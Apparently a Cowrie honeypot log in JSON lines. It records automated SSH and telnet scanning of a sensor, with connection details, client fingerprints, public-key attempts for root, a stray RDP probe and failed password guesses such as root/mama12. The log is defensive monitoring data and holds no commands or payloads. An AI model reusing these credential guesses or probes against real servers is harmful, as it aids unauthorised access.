{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56521,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b15a7717520","protocol":"ssh","message":"New connection: 152.42.212.128:56521 (10.17.0.5:22) [session: 9b15a7717520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:56.725639Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:56.730518Z","src_ip":"152.42.212.128","session":"9b15a7717520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:56.734171Z","src_ip":"152.42.212.128","session":"9b15a7717520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.672444581985474,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:59.412496Z","src_ip":"152.42.224.71","session":"b66b4fb2e2f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.152.236","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ddb021d6c0","protocol":"ssh","message":"New connection: 96.127.152.236:36222 (10.17.0.5:22) [session: a9ddb021d6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:02.904742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:02.914332Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:02.944121Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:cf:48:d4:0c:4b:83:56:4a:84:ba:ed:27:8f:77:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnmQEayXjb1XK0dNzrEUr7n+OeALnUCaKs57lIBOqB2ri6SkMn9s1XiNbvtJNcAWnSSZe5OwkdXFNqSZ6cWaYkFE9HIiyURDYom9cD1wqCai/gWXiBHNbJcS9ofMGetCRP+JCw2NIKQqre5LK4SL0OB9/gcLpg7+G+vFQ2LclQDa5aAgGE6JoCWU2xcqlUe6r3SyQ8hRQRcTJy1EjpjBpcjwU2IIHOUR77KvvTlOKVsJM5ene4tb6/pn3UCU4Gt9AE3JjhszjCXmOZ5DhjxHMbcvreYn4Y/IZYaRh2q61vmankzbIG/LgH+NIGOS/zBaAUEECHtPwGKUYvIOMC9xvV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:cf:48:d4:0c:4b:83:56:4a:84:ba:ed:27:8f:77:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.077442Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:cf:48:d4:0c:4b:83:56:4a:84:ba:ed:27:8f:77:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnmQEayXjb1XK0dNzrEUr7n+OeALnUCaKs57lIBOqB2ri6SkMn9s1XiNbvtJNcAWnSSZe5OwkdXFNqSZ6cWaYkFE9HIiyURDYom9cD1wqCai/gWXiBHNbJcS9ofMGetCRP+JCw2NIKQqre5LK4SL0OB9/gcLpg7+G+vFQ2LclQDa5aAgGE6JoCWU2xcqlUe6r3SyQ8hRQRcTJy1EjpjBpcjwU2IIHOUR77KvvTlOKVsJM5ene4tb6/pn3UCU4Gt9AE3JjhszjCXmOZ5DhjxHMbcvreYn4Y/IZYaRh2q61vmankzbIG/LgH+NIGOS/zBaAUEECHtPwGKUYvIOMC9xvV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.081561Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:a6:6a:14:e4:52:82:7c:65:26:7e:84:ef:de:54:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx9hZc1nBryjidY4+WyH6M17w+4cdCJSrnOtYMcnc73jsatWmIqIeszXoAoi5bxclJFAyK1rv/a7o2MdHnEUvZBmmXKwWk7aARwXBDwgsoVMvjqdGgwDUdVT2fG7dEbfqG++8ifjE0i6DOrWO5H+7u604VnVeyoACW4HKlM8HBJkkFSe+cg7xDXwG/JFhluIwJtvd6ScUmFRRrtBi/AACSqlAtdREGaBR9h2MTQNR5E7JTtI6Ymbefkdlc8zHXGPuyowsJ8s+sOngsfiXmdxABhZeADv+D/LmYxI4nCH7OWQXxAZtmIzQg/nLWquyF1+5YnB5leGhEX/d0PMBaC928w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:a6:6a:14:e4:52:82:7c:65:26:7e:84:ef:de:54:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.112504Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:a6:6a:14:e4:52:82:7c:65:26:7e:84:ef:de:54:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx9hZc1nBryjidY4+WyH6M17w+4cdCJSrnOtYMcnc73jsatWmIqIeszXoAoi5bxclJFAyK1rv/a7o2MdHnEUvZBmmXKwWk7aARwXBDwgsoVMvjqdGgwDUdVT2fG7dEbfqG++8ifjE0i6DOrWO5H+7u604VnVeyoACW4HKlM8HBJkkFSe+cg7xDXwG/JFhluIwJtvd6ScUmFRRrtBi/AACSqlAtdREGaBR9h2MTQNR5E7JTtI6Ymbefkdlc8zHXGPuyowsJ8s+sOngsfiXmdxABhZeADv+D/LmYxI4nCH7OWQXxAZtmIzQg/nLWquyF1+5YnB5leGhEX/d0PMBaC928w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.116751Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:45:46:62:23:f7:72:ac:f9:f9:c9:2a:78:d5:44:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUdjNLL6RBQ1qDNNWEEsBwz5rJ1YtqCSMqJu+JMbK2v","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 59:45:46:62:23:f7:72:ac:f9:f9:c9:2a:78:d5:44:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.149594Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:45:46:62:23:f7:72:ac:f9:f9:c9:2a:78:d5:44:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOUdjNLL6RBQ1qDNNWEEsBwz5rJ1YtqCSMqJu+JMbK2v","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.154474Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:21:7d:16:22:9f:bc:2d:44:d7:28:33:09:d0:66:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApf0sxLrFEnd74xiay5GMAeQ0+Vxr94Yp7Z1xBK7XmE3NZ82w5cbLeGiwzO1wq5jfqxDovHNxdymlEbjF6n6SdafIAM23JWN2hK0LWg6tjJRJmShxIzrLg/WMQJFTyvi5gziaW6p7FmSqqTSQCa2hUPB2FkIQTYtVpgKKGB2HA49UWh0qcX0b3fvx2UsSkUwvBeKS3zra/jQZb7ESBIIGWwM4Ue8o3LB2lcVim9z88b92thWyW277PLM1XxF+jqO129CXa9CCYzEw9ItXTkyaFPJvmfknhaDgQ0TJD2g36rMUnoGcqrVcCzoIyXSUOaDCMLj6QCH6GkwkRJ7Rysq00w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:21:7d:16:22:9f:bc:2d:44:d7:28:33:09:d0:66:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.185952Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:21:7d:16:22:9f:bc:2d:44:d7:28:33:09:d0:66:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApf0sxLrFEnd74xiay5GMAeQ0+Vxr94Yp7Z1xBK7XmE3NZ82w5cbLeGiwzO1wq5jfqxDovHNxdymlEbjF6n6SdafIAM23JWN2hK0LWg6tjJRJmShxIzrLg/WMQJFTyvi5gziaW6p7FmSqqTSQCa2hUPB2FkIQTYtVpgKKGB2HA49UWh0qcX0b3fvx2UsSkUwvBeKS3zra/jQZb7ESBIIGWwM4Ue8o3LB2lcVim9z88b92thWyW277PLM1XxF+jqO129CXa9CCYzEw9ItXTkyaFPJvmfknhaDgQ0TJD2g36rMUnoGcqrVcCzoIyXSUOaDCMLj6QCH6GkwkRJ7Rysq00w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.190211Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:7c:27:2d:8b:57:17:05:58:42:be:90:04:83:ae:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/8psuUYQgzJkmfiwDgy1TNZGI1aVfc7Qj7h631WLKIzosZRevJzn1V4s64v9JeC1hialyxvlQ+6pYZuAMD8YUhIm1D/CP7DaU/MsmkDzRRJLpUuid/TuwakvuE2LEX8jGTVdc3XH8Uh8J3qrkjGiDzGylLEbvadkCazHVtkXI25aO+x4AY1eu+aNxagOmd986+gK4FigGmfLzWSX3x+eT2rnuV7PYCL1f9qYwEHvdacloy9E6+0m8u8V2UxADwi7OgFMLj52ouH3DLY3q8vaCD0lG8i8c/xelNYpBE5C/doxbcO9VVgyTa6idcmCL/AowMbLF4IBS6KTZ+fYG++IL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:7c:27:2d:8b:57:17:05:58:42:be:90:04:83:ae:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.221885Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:7c:27:2d:8b:57:17:05:58:42:be:90:04:83:ae:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/8psuUYQgzJkmfiwDgy1TNZGI1aVfc7Qj7h631WLKIzosZRevJzn1V4s64v9JeC1hialyxvlQ+6pYZuAMD8YUhIm1D/CP7DaU/MsmkDzRRJLpUuid/TuwakvuE2LEX8jGTVdc3XH8Uh8J3qrkjGiDzGylLEbvadkCazHVtkXI25aO+x4AY1eu+aNxagOmd986+gK4FigGmfLzWSX3x+eT2rnuV7PYCL1f9qYwEHvdacloy9E6+0m8u8V2UxADwi7OgFMLj52ouH3DLY3q8vaCD0lG8i8c/xelNYpBE5C/doxbcO9VVgyTa6idcmCL/AowMbLF4IBS6KTZ+fYG++IL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.226398Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:03.258348Z","src_ip":"96.127.152.236","session":"a9ddb021d6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38026,"dst_ip":"10.17.0.5","dst_port":23,"session":"44223e8829b8","protocol":"telnet","message":"New connection: 152.42.224.71:38026 (10.17.0.5:23) [session: 44223e8829b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:09.538589Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38036,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98953b650fd","protocol":"telnet","message":"New connection: 152.42.224.71:38036 (10.17.0.5:23) [session: a98953b650fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:11.243024Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46702d9cfba","protocol":"telnet","message":"New connection: 152.42.224.71:38038 (10.17.0.5:23) [session: c46702d9cfba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:13.339803Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48422,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26bf89020de","protocol":"telnet","message":"New connection: 152.42.224.71:48422 (10.17.0.5:23) [session: c26bf89020de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:26.545690Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58714,"dst_ip":"10.17.0.5","dst_port":23,"session":"3128dae8bfd2","protocol":"telnet","message":"New connection: 152.42.224.71:58714 (10.17.0.5:23) [session: 3128dae8bfd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:33.294430Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42898,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7548a187ecf","protocol":"telnet","message":"New connection: 152.42.224.71:42898 (10.17.0.5:23) [session: c7548a187ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:40.683133Z"}
{"eventid":"cowrie.session.closed","duration":104.13327074050903,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:46.586430Z","src_ip":"152.42.224.71","session":"58dce18344cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.797605752944946,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:54.336089Z","src_ip":"152.42.224.71","session":"44223e8829b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57952,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5430edb07d","protocol":"ssh","message":"New connection: 103.149.28.157:57952 (159.203.135.109:22) [session: 1b5430edb07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:56.264265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:56.269058Z","src_ip":"103.149.28.157","session":"1b5430edb07d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:56.516037Z","src_ip":"103.149.28.157","session":"1b5430edb07d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.519787311553955,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:56.859457Z","src_ip":"152.42.224.71","session":"c46702d9cfba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsedrftg","message":"login attempt [root/qawsedrftg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:57.258466Z","src_ip":"103.149.28.157","session":"1b5430edb07d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:47:58.508463Z","src_ip":"103.149.28.157","session":"1b5430edb07d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.94028353691101,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:11.270700Z","src_ip":"152.42.224.71","session":"52b890484f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.04008388519287,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:19.585680Z","src_ip":"152.42.224.71","session":"c26bf89020de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.87506580352783,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:26.558068Z","src_ip":"152.42.224.71","session":"c7548a187ecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53212,"dst_ip":"10.17.0.5","dst_port":22,"session":"c928ab0e0fe5","protocol":"ssh","message":"New connection: 194.113.233.25:53212 (10.17.0.5:22) [session: c928ab0e0fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:29.217514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:29.222384Z","src_ip":"194.113.233.25","session":"c928ab0e0fe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:29.316461Z","src_ip":"194.113.233.25","session":"c928ab0e0fe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama12","message":"login attempt [root/mama12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:29.598132Z","src_ip":"194.113.233.25","session":"c928ab0e0fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:30.696533Z","src_ip":"194.113.233.25","session":"c928ab0e0fe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59788,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d86dfdfbd30","protocol":"telnet","message":"New connection: 152.42.224.71:59788 (10.17.0.5:23) [session: 4d86dfdfbd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:38.179452Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"1677f07f2d28","protocol":"telnet","message":"New connection: 152.42.224.71:59792 (10.17.0.5:23) [session: 1677f07f2d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:38.183854Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":36058,"dst_ip":"10.17.0.5","dst_port":22,"session":"b487c8c33994","protocol":"ssh","message":"New connection: 89.108.118.91:36058 (10.17.0.5:22) [session: b487c8c33994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:42.402087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:42.426485Z","src_ip":"89.108.118.91","session":"b487c8c33994","protocol":"ssh"}
